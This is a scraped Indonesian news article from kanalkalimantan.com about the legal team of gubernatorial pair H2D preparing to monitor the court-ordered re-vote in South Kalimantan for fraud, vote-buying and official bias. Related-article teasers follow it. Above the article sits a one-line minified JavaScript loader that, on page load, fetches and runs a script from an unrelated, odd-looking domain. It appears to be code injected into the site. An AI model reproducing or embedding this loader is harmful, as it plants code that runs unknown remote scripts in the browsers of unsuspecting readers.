(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – “Babak Kedua” alias Pemungutan Suara Ulang (PSU) Pilgub Kalsel tak lama lagi akan digelar, pasca Mahkamah Konstitusi (MK) mengabulkan gugatan Paslon Gubernur Kalsel nomor urut 02, Haji Denny Indrayana-Haji Difriadi (H2D).
Menangkal dugaan pelanggaran pada pelaksanaan “Babak Kedua” PSU Pilgub Kalsel, tim H2D langsung gelar aksi di lapangan. Seperti melibatkan, Timses, relawan dan masyarakat untuk antisipasi kecurangan dan pelanggaran di PSU dengan mengerahkan semua potensi lainnya.
“Kami sudah melakukan pemetaan di seluruh wilayah yang akan melakukan PSU, yakni 5 kecamatan di Kabupaten Banjar, Banjarmasin Selatan, dan 24 TPS di Binuang, saya mengingatkan sanksi hukum bagi pelaku jika ada yang berbuat curang,” jelas Tim Hukum H2D, Jurkani, Selasa (23/3/2021) siang.
Diakui Jurkani, berdasarkan laporan tim di lapangan, hingga kini sudah ada gerakan-gerakan yang diduga berpotensi terjadi kecurangan dan pelanggaran. Hal tersebut diantaranya, keterlibatan ASN, oknum penegak hukum.
Sehingga Tim Hukum H2D juga mengingatkan KPU dan Bawaslu di semua tingkatan untuk tetap netral dan tidak bermain-main di PSU, karena sudah ada pengalaman pelanggaran etik dan pidana pemilu yang sudah dilakukan sebelumnya. Untuk PSU Pilgub Kalsel ini, pihaknya akan lebih ketat dalam pengawasan.
“Keterlibatan penyelenggara pemilu dan dugaan penggelembungan suara itu bukan hoaks, sebab itulah yang menyebabkan putusan MK untuk PSU di sejumlah wilayah di Kalsel ini,” tegasnya.
Disamping itu, Tim Hukum H2D juga mendeteksi secara dini dan mengawasi petugas PPS dan KPPS yang membagi undangan mencoblos di TPS. Hal ini dilakukan, karena ada laporan pada Pilkada 2020 lalu mengenai penggunaan modus petugas PPS dan KPPS yang membagi undangan kepada calon pemilih dengan iming uang atau money politics agar memilih salah satu paslon.
Terakhir, Tim Hukum H2D ini kembali meminta agar aparat penegak hukum, khususnya dari kepolisian untuk tetap netral dan terhindar politik praktis. Amar putusan MK dengan tegas memerintahkan kepada Kepolisian Negara RI beserta jajarannya, khususnya Polda Kalsel beserta jajarannya secara berjenjang, guna mengamankan jalannya Pemungutan Suara Ulang agar berjalan dengan aman dan lancar.
“Kita berharap aparat penegak hukum tetap menjaga netralitas, termasuk juga TNI dan ASN pada PSU Pilgub Kalsel ini. Dan perlu kami sampaikan untuk mengawal ketat PSU ini, kami pasang mata dan telinga di semua tempat,” pungkas Jurkani. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.